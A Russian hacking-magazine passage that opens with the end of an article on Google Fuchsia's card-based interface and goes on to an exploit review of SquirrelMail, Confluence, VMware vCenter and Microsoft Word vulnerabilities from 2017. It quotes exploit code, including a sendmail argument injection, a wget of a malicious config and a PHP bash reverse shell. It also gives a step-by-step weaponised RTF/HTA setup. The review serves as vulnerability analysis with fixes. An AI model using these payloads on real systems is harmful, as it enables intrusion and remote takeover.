это, разуме ется,  кноп ка «Домой», она же, при удер жании, откры вает панель
быс трых нас тро ек.

Не обыч но,  инте рес но,  но  пока  доволь но  стан дар тно.  Нас тоящие  чудеса
начина ют про исхо дить, если попытать ся объ еди нить кар точки, положив одну
на дру гую. В этом слу чае у тебя появит ся два вари анта: либо раз делить окно
на два, либо открыть два окна на пол ный экран, но с соз дани ем стро ки табов
в вер хней час ти экра на. При чем добав лять при ложе ния и дро бить экран мож ‐
но прак тичес ки неог раничен ное количес тво (пока Armadillo не упа дет).

От кры тое на пол ный экран окно и режим раз деления экра на

В  ниж ней  час ти  глав ного  экра на  находит ся  неч то  вро де  окна  Google  Now,
с  помощью  которо го мож но  выпол нять  поиск,  тап  по  кар точке откро ет  окно
на пол ный экран.

Мес тный Google Now и кла виату ра

Су дя по все му, задача интерфей са Armadillo — уни фици ровать все информа ‐
цион ные потоки, такие как уве дом ления, вид жеты, кар точки Google Now, окна
при ложе ний и перек лючатель меж ду окна ми,  в рам ках еди ной  кон цепции  (и
устра нить сегод няшний раз брод).

Лег ко  заметить,  что  весь  интерфейс  Armadillo,  по  сути,  пос тро ен  вок руг
двух эле мен тов: кар точки и окна. Ско рее все го, уве дом ления будут появ лять ‐
ся  на  экра не  в  виде  таких  кар точек,  а  сами  кар точки  будут  одновре мен но
играть роль уве дом лений, вид жетов и мини атюр запущен ного при ложе ния.

Нап ример,  запус каешь  Telegram,  сво рачи ваешь  его  в  кар точку  (которая
отоб ража ет пару пос ледних сооб щений, нап ример). Пос тепен но, ког да при ‐
ходят  уве дом ления  от  дру гих  при ложе ний,  поль зователь  откры вает  новые
при ложе ния и совер шает дру гие дей ствия, кар точка «Телег рама» сме щает ся
вверх, но, как толь ко в Telegram при ходит уве дом ление, она вновь ста новит ся
пер вой (или пос ледней, как пос мотреть) и обновля ет свое содер жимое. Сма ‐
хива ешь кар точку, что бы зак рыть Telegram, или ничего не дела ешь, она сама
уйдет вверх.

Это, конеч но, толь ко мои домыс лы, но идея выг лядит более чем здра вой,
а  ее  пра виль ная  реали зация  дей стви тель но  будет  очень  удоб на.  Идея  сво ‐
рачи вающих ся в вид жет при ложе ний уже была успешно опро бова на и доказа ‐
ла свое удобс тво в BlackBerry 10 и Sailfish OS. А если ее объ еди нить с уве ‐
дом лени ями,  то  будет  сов сем  кра сота  —  еди ный  интерфейс  управле ния
всем.

ДЛЯ ЧЕГО ЭТО ВСЕ?
Окей,  Google  дей стви тель но  раз рабаты вает  новую  опе раци онку  для  смар ‐
тфо нов и нас толь ных ПК (да, Armadillo может мас шта биро вать ся на боль шой
экран,  фор мируя  интерфейс  в  сти ле  ).  Даже
в виде кон цепта все это выг лядит кру то. Но зачем?

фрей мового  менед жера  окон

Не уже ли  Google  дей стви тель но  собира ется  отка зать ся  от  Android,
огромной  базы  юзе ров  и  вен доров  ради  опе раци онки,  будущее  которой
туман но? На этот воп рос есть два отве та.

Пер вый.  В  нед рах  Google  пос тоян но  появ ляет ся  и  исче зает  огромное
количес тво  экспе римен таль ных  про ектов,  из  них  некото рые  успешно  внед ‐
ряют ся (недав ний при мер: дви жок Google Translate на базе ней рон ной сети),
а  дру гие  так  и  не  выходят  из  ста дии  аль фы. Сущес тво вание  Fuchsia  впол не
впи сыва ется  в  эту  модель:  най дем  при мене ние  в  телефо нах  —  отлично,
не най дем — поп робу ем в дру гом мес те. Не зря же Fuchsia может мас шта ‐
биро вать ся  от  кро хот ной  сис темы  для  мик рокон трол леров  до  мощ ных
рабочих стан ций.

Вто рой. Google смот рит в будущее на мно гие годы впе ред. Fuchsia может
стать сис темой, которая не заменит Android в одно часье, а будет пос тепен но
вытес нять его с рын ка.

Вклю чив фан тазию,  мож но  при думать  при мер но  такой  сце нарий:  Google
раз вива ет  Fuchsia,  закан чива ет  гра фичес кий  интерфейс,  соз дает  базовый
набор  при ложе ний  и  выкиды вает  дешевые  смар тфо ны  на  ее  осно ве
куда‐нибудь в Индию по цене 50 дол ларов за шту ку.

Пос тепен но  выходят  новые  смар тфо ны  с  новой  вер сией  Fuchsia.  База
при ложе ний попол няет ся бла года ря Flutter, раз работ чики уже начали исполь ‐
зовать его для соз дания кросс‐плат формен ного соф та для Android и iOS.

В  Fuchsia  появ ляет ся  режим  сов мести мос ти  с  при ложе ниями  Android
(перенес ти сре ду исполне ния Android, как извес тно, мож но даже в BlackBerry
10, которая ни разу не на ядре Linux), а зна чит, огромное количес тво готово го
соф та.

Не зави симые раз работ чики начина ют прис матри вать ся к новой опе раци ‐
онке и писать для нее софт с целью сос тричь купонов, если опе раци онка выс ‐
тре лит.  Google  про водит  кон курсы  на  зва ние  луч шего  при ложе ния  в  той
или иной области с круп ными денеж ными при зами.

Fuchsia  матере ет,  набира ется  фун кци ональ нос ти,  ком пании  начина ют
осто рож но  выпус кать  смар тфо ны  на  ее  осно ве.  Количес тво  натив ных  при ‐
ложе ний рас тет. Появ ляют ся фун кции для кор поратив ных поль зовате лей.

Но вую  опе раци онку  уже  не  кри тику ют,  а  хва лят.  С  ее  помощью  Google
решила  мно гие  проб лемы  Android:  обновле ния  при ходят  от  самой  Google
сво евре мен но, дыр в сис теме сов сем нем ного, Fuchsia работа ет неверо ятно
плав но  (гра фичес кий  стек  Fuchsia  осно ван  на  Vulcan,  а  Flutter  может  рен ‐
дерить кар тинку со ско ростью 120 кад ров в секун ду).

Все  боль ше  вен доров  выпус кают  смар тфо ны  на  базе  Fuchsia,  вклю чая
флаг ман ские  модели.  Магазин  натив ных  при ложе ний  уже  нас читыва ‐
ет  100  тысяч  тай тлов,  руб рика  Coding  в  жур нале  «Хакер»  на  треть  сос тоит
из ста тей про написа ние при ложе ний для Fuchsia.

Ком пания Samsung сооб щает, что ее Galaxy S16 будет осно ван на Fuchsia.
Android объ явля ется мер твым.

Зву чит  бре дово?  Воз можно,  но  при мер но  такой  путь  про шел  Android,
перед тем как стал самой популяр ной ОС в мире.

mailto:zobnin@glc.ru
https://flutter.io/
https://www.dropbox.com/s/jdc3j4hjxpi1a1n/Armadillo.apk
https://ru.wikipedia.org/wiki/%D0%A4%D1%80%D0%B5%D0%B9%D0%BC%D0%BE%D0%B2%D1%8B%D0%B9_%D0%BE%D0%BA%D0%BE%D0%BD%D0%BD%D1%8B%D0%B9_%D0%BC%D0%B5%D0%BD%D0%B5%D0%B4%D0%B6%D0%B5%D1%80


Вся информация
предоставлена
исключительно в

ознакомительных целях.
Ни редакция, ни автор не
несут ответственности за
любой возможный вред,
причиненный материалами

данной статьи.

WARNING

ОБЗОР
ЭКСПЛОИТОВ

АНАЛИЗ НОВЫХ УЯЗВИМОСТЕЙ

Сегодня на повестке дня парочка уже известных уязвимостей в
новом амплуа — RCE в SquirrelMail через манипуляцию параметрами
в sendmail и RCE Struts 2 в VMware vCenter. Далее поговорим об
ошибке в Confluence, которая позволяет неавторизированным

пользователям просматривать содержимое страниц. На сладкое —
уязвимость внедрения объектов в Microsoft Office, с помощью

которой можно выполнить произвольный код. Вперед.
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ВЫПОЛНЕНИЕ ПРОИЗВОЛЬНОГО КОДА В SQUIRRELMAIL <= 1.4.23
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BRIEF
Уяз вимость  сущес тву ет  из‐за  недос таточ но  серь езной  филь тра ции  адре са
получа теля поч ты. Если SquirrelMail нас тро ен на работу в связ ке с sendmail, то
зло умыш ленник,  отпра вив  спе циаль но  сфор мирован ное  пись мо,  смо жет
выпол нить про изволь ный код на целевой сис теме.

https://vimeo.com/220491382

EXPLOIT
Пе ред  нами  не  что  иное,  как  оче ред ная  инкарна ция  ошиб ки  в  PHPMailer.
Не  так  дав но  я  ,  так  что,  если  тебя  инте ресу ют  под робнос ти,
советую  заг лянуть  и  про читать.  Здесь  огра ничусь  крат ким  опи сани ем  уяз ‐
вимос ти.

пи сал  о  ней

Проб лемный код
Не теряя вре мени даром, идем изу чать исходни ки. Рас смот рим учас ток кода
из фай ла  .Deliver_SendMail.class.php

/class/deliver/Deliver_SendMail.class.php

080:    /**
081:     * function initStream
082:     *
083:     * Initialise the sendmail connection.
...
090:     function initStream($message, $sendmail_path) {
091:         $rfc822_header = $message‐>rfc822_header;
092:         $from = $rfc822_header‐>from[0];
093:         $envelopefrom = trim($from‐>mailbox.'@'.$from‐>host);
094:         $envelopefrom = str_replace(array("","n"),array('',''),$
envelopefrom);
095:         // save executed command for future reference
096:         $this‐>sendmail_command = "$sendmail_path $this‐>sendma
il_args ‐f$envelopefrom";
097:         // open process handle for writing
098:         $stream = popen(escapeshellcmd($this‐>sendmail_command),
 "w");
099:         return $stream;
100:     }

Об рати вни мание на стро ку 96, в ней ука зыва ются допол нитель ные парамет ‐
ры  для  запус ка  бинар ника  sendmail.  Один  из  парамет ров  —

 — может  кон тро лиро вать ся  поль зовате лем.  В  раз деле  нас ‐
тро ек Personal Information мож но ука зать поч ту, которая будет исполь зовать ся
в качес тве заголов ка   и  .

$envelopefrom

From Return‐Path

Ад рес поч ты, который попада ет в заголо вок Return Path

При  отправ ке  сооб щения  этот  адрес  ока жет ся  в  мас сиве 
.

$message‐>
rfc822_header‐>from[0]

Дан ные, которые попада ют в коман ду запус ка sendmail, и сама коман да

Для того что бы добавить новые парамет ры при запус ке бинар ника, нам нуж но
отбить  их  про бела ми.  Толь ко  сде лать  это  нам  не  поз волит  филь тра ция
в скрип те. Но не сто ит расс тра ивать ся, ведь не филь тру ются сим волы табуля ‐
ции, а они тоже прек расно годят ся для раз деления аргу мен тов.

Те перь мож но заг рузить шелл. Для это го вос поль зуем ся клю чом 
и  ,  который  ука зыва ет  путь  до  лога.  В  него  будет  записы ‐
вать ся весь про цесс отправ ки пись ма.

‐oQ/tmp/
‐X/path/to/file

any@mailt‐oQ/tmp/t‐X/var/www/html/shell.php

Ко неч но,  для  успешной  экс плу ата ции  нуж но  най ти  веб‐дирек торию,  дос ‐
тупную для записи.

RCE через кон фиг
В пре дыду щей статье я пред полагал, что сущес тву ет так же воз можность экс ‐
плу ата ции  через  кас томный  файл  кон фигура ции  sendmail,  путь  к  которо му
мож но  ука зать  с  помощью клю ча  .  Так  что  я  прак тичес ки  пред ска зал  этот
век тор  ата ки.  ;)  Давид  исполь зует  ата ку  через  кон фиг  в  .
Давай заг лянем в его исходни ки и раз берем, как это работа ет.

‐C
сво ем  экс пло ите

SquirrelMail_RCE_exploit.sh

082: sqspool="/var/spool/squirrelmail/attach/"
...
122: wget ‐q ‐O/tmp/smcnf‐exp https://legalhackers.com/exploits/
sendmail‐exploit.cf
...
127: attachid="`curl ‐H "Expect:" ‐s ‐b"SQMSESSID=$sessid; key=$keyid
" ‐F"smtoken=$token" ‐F"send_to=$mail" ‐F"subject=attach" ‐F
"body=test" ‐F"attachfile=@/tmp/smcnf‐exp" ‐F"username=$squser" ‐F
"attach=Add" $URL/src/compose.php | awk ‐F's:32' '{print $2}' | awk 
‐F'&quot;' '{print $2}' | tr ‐d 'n'`"
...
145:    2) payload="$squser@localhost   ‐oQ/tmp/    ‐C$sqspool/
$attachid"

Для того что бы заг рузить кон фиг, исполь зует ся фун кция прик репле ния фай ‐
лов  к  пись му.  Пос ле  заг рузки  ему  прис ваивает ся  уни каль ное  имя,  которое
мож но уви деть в исходном коде стра ницы. По умол чанию все атта чи хра нят ся
в дирек тории  , поэто му в пей лоаде ука ‐
зыва ется путь до све жеза лито го кон фига  .

/var/spool/squirrelmail/attach/
‐C$sqspool/$attachid

Заг лянем в сам кон фигура цион ный файл.
sendmail-exploit.cf

Mlocal, P=/usr/bin/php, F=lsDFMAw5:/|@qPn9S,
        S=EnvFromL/HdrFromL, R=EnvToL/HdrToL,
        T=DNS/RFC822/X‐Unix,
        A=php ‐‐ $u $h ${client_addr}

Ав тор экс пло ита переназ нача ет мей лер  , исполь зуя флаг  . Ука зыва ет,
что  для  отправ ки  локаль ных  писем  нуж но  вызывать  бинар ник    и  читать
дан ные из STDIN (ключ  ). Поэто му пос ле отправ ки сооб щения выпол нится
код, который ука зан в теле пись ма (перемен ная  ).

local M
php

‐‐
phprevsh

SquirrelMail_RCE_exploit.sh

155: # Reverse shell code
156: phprevsh="
157: <?php
158:    $cmd = "/bin/bash ‐c 'bash ‐i >/dev/tcp/$reverse_ip/$revers
e_port 0<&1 2>&1 & '";
159:    file_put_contents("/tmp/cmd", 'export PATH="$PATH" ; export 
TERM=vt100 ;' . $cmd);
160:    system("/bin/bash /tmp/cmd ; rm ‐f /tmp/cmd");
161: ?>"
...
173: # Send email which triggers the RCE vuln and runs phprevsh
174: echo ‐e "n[*] Sending the email to trigger the vuln"
175: (sleep 2s && curl ‐s ‐D/tmp/sheaders ‐b"SQMSESSID=$sessid; key=
$keyid" ‐d"smtoken=$token" ‐d"startMessage=1" ‐d"session=0" 
176: ‐d"send_to=$squser@localhost" ‐d"subject=poc" ‐‐data‐urlencode 
"body=$phprevsh" ‐d"send=Send" ‐d"username=$squser" $URL/src/compose.
php) &

Ог ромный плюс это го век тора в  том, что для экс плу ата ции и залив ки шел ла
не нуж но искать дос тупную для записи веб‐дирек торию.

TARGETS
SquirrelMail <= 1.4.23 (при работе в связ ке с sendmail).•

SOLUTION
Мо жешь    пос ледний  SVN‐билд  с  сай та  раз работ чика,  в  нем  уяз ‐
вимость  исправ лена. Одна ко  на  момент  написа ния  статьи  в  Debian Wheezy
через  менед жер  пакетов  APT  с  репози тория  все  еще  ста вилась  уяз вимая
вер сия скрип та.

ска чать

https://vimeo.com/220491382
https://xakep.ru/2017/01/12/phpmailer-exploit/
https://searchcode.com/file/5711973/tags/webmail-release-1_4_22/class/deliver/Deliver_SendMail.class.php#l-90
https://legalhackers.com/exploits/CVE-2017-7692/SquirrelMail_RCE_exploit.sh
https://legalhackers.com/exploits/sendmail-exploit.cf
https://squirrelmail.org/download.php


ОБЗОР
ЭКСПЛОИТОВ

ВЗЛОМ

АНАЛИЗ НОВЫХ УЯЗВИМОСТЕЙ

 НАЧАЛО СТАТЬИ←

АНОНИМНЫЙ ДОСТУП К ЗАКРЫТЫМ СТРАНИЦАМ В ATLASSIAN CON‐
FLUENCE С V6.0.0 ДО V6.0.6

 5 апре ля 2017 годаДа та релиза:
 CVE‐2017‐7415CVE:
 YuvaneshАв тор:

BRIEF
При чина уяз вимос ти — отсутс твие про вер ки прав поль зовате ля для дос тупа
к стра ницам и бло гам. Обра тив шись к любой записи через спе циаль но сфор ‐
мирован ный  зап рос  к  REST  API,  зло умыш ленник  может  получить  ее  содер ‐
жимое.

https://vimeo.com/220488460

EXPLOIT
В пос леднее вре мя все чаще всплы вают ошиб ки в REST API раз ных при ложе ‐
ний.  Не  так  дав но  была  RCE  в  ,  еще  рань ше —  внед рение  кон тента
в  . На этот раз проб лема с API проб ралась в про дукт авс тра лий ской
ком пании Atlassian под наз вани ем Confluence.

Drupal
WordPress

Этот софт исполь зует ся орга низа циями для соз дания внут рикор поратив ‐
ной базы зна ний, в которой неред ко мож но най ти мас су полез ной информа ‐
ции: схе мы LAN, спис ки поль зовате лей, IP внут ренних ресур сов, явки, пароли
и тому подоб ное. Такая наход ка — лакомый кусочек при про веде нии ауди тов
и тес тов на про ник новение.

Ко паем исходни ки
Для  тес та  я  уста новил  пос леднюю  из  уяз вимых  вер сий — Confluence  6.0.6.
Почитав ком мента рии к   об этом баге, я узнал, что проб лемным мес ‐
том ока залась точ ка вхо да в API —  . Что бы ты не уто нул в оке ‐
ане  кода  на  Java  в  поис ках  пер вопри чины,  сра зу  ска жу,  что  обра бот чики,
которые отве чают за этот эндпо инт, находят ся в фай ле JAR с наз вани ем 

.

ре пор ту
/rest/tinymce

con‐
fluenceWEB‐INFatlassian‐bundled‐pluginsconfluence‐editor‐6.0.6.
jar

Де ком пилиру ем этот файл. Чаще все го я для это го исполь зую сер вис 
, там есть воз можность выб рать из нес коль ких деком пилято ‐

ров. Мой выбор — CFR, в ряде слу чаев резуль тат его работы мне нра вит ся
боль ше  все го.  Как  вари ант,  можешь  ска чать 

 из моего репози тория.

java‐
decompilers.com

ар хив  с  деком пилиро ван ными
иход никами

А теперь пог лядим в сами исходни ки.
com/atlassian/confluence/tinymceplugin/rest/PageResource.java

143:     @GET
144:     @Path(value="/draft/diff")
145:     @AnonymousAllowed
146:     public Response getDraftDiff(@PathParam(value="id") Long 
contentId) {
147:         AbstractPage currentPage = this.pageManager.getAbs
tractPage(contentId.longValue());
148:         ContentEntityObject draftPage = this.draftsTransitio
nHelper.getDraftForPage(currentPage);
149:         String bodyDiff = this.differ.diff((ContentEntityObject)
currentPage, draftPage);
150:         return Response.status((Response.Status)Response.Status.
OK).entity((Object)this.replacePlaceholders(bodyDiff)).build();
151:     }

Стро ка    (145)  говорит  нам о  том,  что метод может  быть
выз ван любым поль зовате лем, в том чис ле и ано ним ным. В самом обра бот ‐
чике отсутс тву ет про вер ка  того, есть ли  у поль зовате ля  хоть  какие‐то пра ва
для  прос мотра  содер жимого  зап рашива емой  стра ницы.  Срав ни  это,  нап ‐
ример, с методом, который идет в коде далее.

@AnonymousAllowed

com/atlassian/confluence/tinymceplugin/rest/PageResource.java

153:     @GET
154:     @AnonymousAllowed
155:     public Response getEditorContent(@PathParam(value="id") Long
 contentId) {
...
161:         ConfluenceUser user = AuthenticatedUserThreadLocal.get()
;
...
179:         if (!this.permissionManager.hasPermission((User)user, 
Permission.EDIT, (Object)page) || !this.hasValidLicense()) {
180:             return Response.status((Response.Status)Response.
Status.NOT_FOUND).build();
181:         }

Тут тоже раз решен ано ним ный дос туп, одна ко в самом методе про веря ется,
есть ли  у  текуще го поль зовате ля раз решение на редак тирова ние стра ницы.
В самом деле, если пос мотришь на исходник    из  новой
вер сии (6.0.7), где уяз вимость уже исправ лена, то уви дишь, что раз работ чики

 про вер ку прав поль зовате ля.

PageResource.java

до бави ли
com/atlassian/confluence/tinymceplugin/rest/PageResource.java

143:     @GET
144:     @Path(value="/draft/diff")
145:     @AnonymousAllowed
146:     public Response getDraftDiff(@PathParam(value="id") Long 
contentId) {
...
148:         ConfluenceUser user = AuthenticatedUserThreadLocal.get()
;
149:         if (!this.permissionManager.hasPermission((User)user, 
Permission.EDIT, (Object)currentPage)) {
150:             return Response.status((Response.Status)Response.
Status.NOT_FOUND).build();
151:         }

Diff меж ду исправ ленной и уяз вимой вер сией PageResource

При мер экс плу ата ции
А  теперь  самое  глав ное —  пос мотрим,  как  мож но  про экс плу ати ровать  уяз ‐
вимость. На самом деле это про ще прос того:  тот слу чай,  ког да экс пло ит —
это  прос то  нуж ный  URI.  Что бы  его  узнать,  сле дует  сно ва  обра тить ся
к исходни кам.

com/atlassian/confluence/editor/page-editor-quit-dialog.js

174:     function showUnpublishedChanges() {
...
179:         $.ajax({
180:             url: CONSTANTS.CONTEXT_PATH + "/rest/tinymce/1/
content/" + Meta.get("page‐id") + "/draft/diff",
181:             type: "GET"
182:         }).success(function (response) {

Все,  что  тре бует ся, —  это  узнать  ID  стра ницы.  Затем  перехо дим  по  ссыл ке

и видим все содер жимое.
http://confluenceurl/rest/tinymce/1/content/<pageID>/draft/diff

Alt text

TARGETS
Atlassian Confluence начиная с 6.0.0 до 6.0.6 вклю читель но.•

SOLUTION
Раз работ чики  выпус тили  новую  вер сию  при ложе ния,  в  которой  проб лема
устра нена. Обновля емся на 6.0.7 и выше.

https://vimeo.com/220488460
https://xakep.ru/2017/04/12/drupal-services-sqli-rce/
https://xakep.ru/2017/03/10/exploits-217/#toc02.2
https://jira.atlassian.com/browse/CONFSERVER-52222
http://www.javadecompilers.com/
https://github.com/allyshka/exploits/blob/master/confluence/CVE-2017-7415/confluence_editors_6.0.6_plus_6.0.7.zip
https://github.com/allyshka/exploits/blob/master/confluence/CVE-2017-7415/confluence-editor-6.0.6/com/atlassian/confluence/tinymceplugin/rest/PageResource.java#L143
https://github.com/allyshka/exploits/blob/master/confluence/CVE-2017-7415/confluence-editor-6.0.6/com/atlassian/confluence/tinymceplugin/rest/PageResource.java#L153
https://www.diffchecker.com/rABczOIU
https://github.com/allyshka/exploits/blob/master/confluence/CVE-2017-7415/confluence-editor-6.0.7/com/atlassian/confluence/tinymceplugin/rest/PageResource.java
https://github.com/allyshka/exploits/blob/master/confluence/CVE-2017-7415/confluence-editor-6.0.6/com/atlassian/confluence/editor/page-editor-quit-dialog.js#L174


ОБЗОР
ЭКСПЛОИТОВ

ВЗЛОМ

АНАЛИЗ НОВЫХ УЯЗВИМОСТЕЙ

 НАЧАЛО СТАТЬИ←

ВЫПОЛНЕНИЕ ПРОИЗВОЛЬНОГО КОДА В VMWARE VCENTER <= 6.5.0B

 13 апре ля 2017 годаДа та релиза:
 CVE‐2017‐5638CVE:
 Кшиш тоф Вег жинек (Krzysztof Wegrzynek)Ав тор:

BRIEF
Уяз вимость  сущес тву ет  из‐за  того,  что  в  vCenter  исполь зует ся  уста рев шая
вер сия  фрей мвор ка  Apache  Struts  2  с  уяз вимостью  пар сера  сооб щений
об ошиб ках. Зло умыш ленник может отпра вить спе циаль но сфор мирован ный
HTTP‐зап рос,  который  при ведет  к  выпол нению  про изволь ного  кода  с  пра ‐
вами веб‐сер вера.

https://vimeo.com/220483261

EXPLOIT
Еще  одна  уяз вимость‐флеш бэк.  О  самой  ошиб ке  и  ее  при чинах  я  писал
в  пре дыду щем  обзо ре.  Советую  озна комить ся,  а  мас штаб  проб лемы  тебе
поможет  оце нить  .  Обра ти  вни мание  на  спи сок  уяз вимых
про дук тов. Здесь же я зат рону толь ко осо бен ности экс плу ата ции уяз вимос ти
в кон тек сте VMware vCenter.

securityfocus.com

Для начала нем ного тер миноло гии. VMware vCenter — это цен тра лизо ван ‐
ная плат форма для управле ния сре дами VMware vSphere, с помощью которой
мож но авто мати зиро вать вир туаль ную инфраструк туру и пре дос тавлять к ней
дос туп. vSphere — популяр ная плат форма для вир туали зации ИТ‐инфраструк ‐
туры  пред при ятия.  Эти  про дук ты  с  завид ным  пос тоянс твом  встре чают ся
на перимет рах круп ных ком паний. Думаю, не сто ит говорить, нас коль ко серь ‐
езны ми могут  быть  пос ледс твия  зах вата  машины,  которая  управля ет  целым
пар ком вир туалок.

Все тес ты я про водил на vCenter вер сии 6.0, поэто му в дру гой вет ке пути
рас положе ния фай лов могут раз личать ся.

Что бы  про экс плу ати ровать  уяз вимость,  нам  нуж но  най ти  те  фун кции,
которые  фрей мворк  Struts  2  исполь зует  для  обра бот ки  зап росов.  Нем ного
пошарив  по  фай ловой  сис теме,  я  нашел  файл 

 —  ядро фрей мвор ка. Судя  по  наз ванию пап ки,  это  сер вис Performance
Charts  —  пос тро ение  гра фиков  про изво дитель нос ти.  Написан  он  как  раз
с исполь зовани ем Struts 2. Наши подоз рения так же под твержда ют най ден ные
фай лы кон фигура ции.

/usr/lib/vmware‐per‐
fcharts/tc‐instance/webapps/statsreport/WEB‐INF/lib/spring‐core.
jar

/usr/lib/vmware-perfcharts/tc-instance/webapps/statsreport/WEB-

INF/classes/struts.xml

09:    <include file="struts‐default.xml"/>
10:
11:    <constant name="struts.ui.theme" value="simple"/>
12:    <constant name="struts.ognl.allowStaticMethodAccess" value=
"true"/>
13:    <constant name="struts.enable.DynamicMethodInvocation" value=
"false"/>
14:    <constant name="struts.action.extension" value="do"/>
15:    <constant name="struts.custom.i18n.resources"
16:              value="com.vmware.vim.stats.webui.ApplicationReso
urces"/>
17:
18:    <bean name="clientRequestForm"
19:          class="com.vmware.vim.stats.webui.form.Client
RequestForm"
20:          scope="default"/>
21:
22:    <package name="statsreport" extends="struts‐default">

Те перь нуж но най ти точ ку вхо да на сер вере для дос тупа к perfcharts. Кон фиги
сооб щают, что сущес тву ет URI  , который обра баты вает ся
фрей мвор ком.

StatsChartServlet

/usr/lib/vmware-perfcharts/tc-instance/webapps/statsreport/WEB-

INF/web.xml

139:    <filter>
140:       <filter‐name>StatsChartServletSecurity</filter‐name>
141:       <filter‐class>com.vmware.vim.stats.webui.filter.StatsC
hartServletSecurity</filter‐class>
142:    </filter>
143:    <filter‐mapping>
144:       <filter‐name>StatsChartServletSecurity</filter‐name>
145:       <url‐pattern>/StatsChartServlet</url‐pattern>
146:    </filter‐mapping>

В  поис ках  пол ного  URL  автор  уяз вимос ти  сни фал  тра фик  меж ду  кли ентом
и сер вером vCenter. Они обща ются при помощи тех нологии BlazeDS, которая
исполь зует бинар ный про токол AMF раз работ ки Adobe.

Я  же  пред лагаю  прос то  погуг лить  .  :)  Метод,  воз ‐
можно,  не  такой  эле ган тный,  одна ко  дей ствен ный. Сре ди  ссы лок  ты  навер ‐
няка оты щешь раз личные баг репор ты в VMware, где сре ди про чего при водит ‐
ся  пол ный  URL:  .  Ну  и  самые  сооб ‐
разитель ные могут прос то пос мотреть на путь, по которо му лежат фай лы.

StatsChartServlet

/statsreport/StatsChartServlet

Те перь оста лось отпра вить стан дар тный для уяз вимос ти в Struts 2 век тор
RCE на най ден ный адрес, и код успешно выпол нится.

Ус пешная экс плу ата ция VMware vCenter

TARGETS
VMware vCenter <= 6.0 U2a;•
VMware vCenter <= 6.5.0b.•

SOLUTION
Для обе их веток про дук та раз работ чики выпус тили пат чи,  устра няющие уяз ‐
вимость.

https://vimeo.com/220483261
http://www.securityfocus.com/bid/96729/info
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ВЫПОЛНЕНИЕ ПРОИЗВОЛЬНОГО КОДА В MICROSOFT WORD ВЕРСИЙ
С 2007 ПО 2016

 начало апре ля 2017 годаДа та релиза:
 CVE‐2017‐0199CVE:
 N/AАв тор:

BRIEF
Ошиб ка  свя зана  с  некор рек тной обра бот кой  отве тов  от  сер вера  в фун кции
Microsoft  OLE  (Object  Linking  and  Embedding),  которая  дает  воз можность
встра ивать  одни  докумен ты  внутрь  дру гих.  Пос ле  откры тия  заражен ного
докумен та  при ложе ние  офи са  дела ет  зап рос  на  уда лен ный  сер вер,  что бы
получить встро енный в этот документ файл. Сер вер воз вра щает спе циаль но
сфор мирован ный  ответ.  В  нем  содер жится  вре донос ный  файл  HTA,  код
из которо го пос ле заг рузки выпол няет ся на целевой сис теме.

https://vimeo.com/220105198

EXPLOIT
Ис тория  этой  уяз вимос ти  запутан на,  как  шнур  науш ников,  про лежав ших
целый день в кар мане. Так как 0day был обна ружен в диком виде, спе куля ции
и  теории  загово ра  пош ли  поч ти  сра зу.  Некото рые  иссле дова тель ские  ком ‐
пании  утвер жда ют,  что  уяз вимость исполь зовалась спец служ бами для ата ки
на  выс шие  чины  и  госс трук туры.  Не  обош лось  и  без  упо мина ния  в  СМИ
популяр ного нын че «рус ско го сле да». Сущес тву ет еще вер сия о том, что в Mi‐
crosoft  зна ли об уяз вимос ти и не исправ ляли ее намерен но. Иссле дова тель
Рай ан Хэн сон, нап ример,  , что обна ружил эту уяз вимость еще в июле
прош лого года, а репорт о ней отпра вил в октябре.

за явля ет

Ес ли  тебе  инте рес на  вся  эта  детек тивная  исто рия,  то  ты  без  тру да  смо ‐
жешь  нагуг лить  мас су  самых  раз ных  под робнос тей  и  попытать ся  сде лать
вывод  самос тоятель но.  Я  же  раз беру  толь ко  детали  уяз вимос ти,  оста вив
осталь ную мишуру за бор том.

Пред лагаю шаг за шагом прой тись по пути от соз дания экс пло ита до его
при мене ния. Для начала нам нуж но соз дать валид ный документ RTF с любым
содер жимым.  Это  мож но  про делать  в  любом  мало‐маль ски  прод винутом
редак торе, хоть в том же Word. Сох раним документ как  .exp.rtf

Да лее  соз даем  при ложе ние    с  полез ной  наг рузкой  внут ри.  HTA
(HTML Application) — это по сво ей сути обыч ный HTML, который не огра ничен
моделью  безопас ности  веб‐бра узе ра. Он  рен дерит ся  с  повышен ными  при ‐
виле гиями, потому что апри ори счи тает ся надеж ным и безопас ным при ложе ‐
нием.  В  нем  поз волено  исполь зовать  код  на  VBScript  и  JScript,  отсю да
широкие воз можнос ти для манипу ляции фай лами, пап ками, клю чами реес тра
и  так  далее.  Поэто му  такой  фор мат  час то  исполь зует ся  для  дос тавки  вре ‐
донос ного кода в раз личных чер вях и про чих тро янах.

exp.hta

Я исполь зую самый обыч ный    через PowerShell  для дос ‐
тавки на ата куемый хост.

бэк коннект‐шелл

По лез ная наг рузка в виде VBScript в HTA‐при ложе нии

Не забывай, что в качес тве аргу мен та для клю ча   (EncodedCommand) необ ‐
ходим  не  пра вос лавный  UTF‐8  Base 64,  а  двух бай товый  UTF‐16‐LE  Base 64.
С  помощью  коман ды 

  сам  PowerShell  поможет
тебе скон верти ровать скрипт в нуж ный фор мат.

‐e

[Convert]::ToBase64String([System.Text.Encod‐
ing]::Unicode.GetBytes('YOUR_SCRIPT_HERE'))

Сле дующий  шаг  —  соз дание  и  нас трой ка  веб‐сер вера.  Это  нуж но
для того, что бы внед рить документ exp.rtf как ссыл ку на кон тро лиру емый нами
сер вер. Не мудрствуя лукаво, я исполь зовал Docker, а в качес тве ОС выб рал
Debian. Даль ше я раз вернул самый обыч ный Apache.

apt‐get update && apt‐get install ‐y apache

Word  любит  WebDAV  и  в  про цес се  внед рения  докумен та  будет  отправ лять
на сер вер зап рос PROPFIND. Поэто му я соот ветс тву ющим обра зом нас тро ил
Apache.

a2enmod dav dav_fs dav_lock headers

Обя затель но вклю чаем модуль  , он нам очень при годит ся во вре мя
экс плу ата ции  уяз вимос ти.  Даль ше  нуж но  отре дак тировать  кон фиг  хос та.
Вклю чаем WebDAV на кор невую дирек торию.

headers

Сей час мы зас тавля ем Word думать, что мы переда ем ему RTF‐документ.
Ну, по сути, так оно и есть. :)

    <Directory /var/www/html/>
        Dav on
    </Directory>

Заг ружа ем в веб‐рут соз данные нами фай лы exp.rtf, exp.hta и переза пус каем
веб‐сер вер.

service apache2 restart

От кры ваем Word и соз даем новый документ. Я исполь зую Office 2016, так что
все скрин шоты и пути акту аль ны имен но для этой вер сии пакета. Перехо дим
на вклад ку «Встав ка» и выбира ем «Объ ект». Доб ро пожало вать в само учи тель
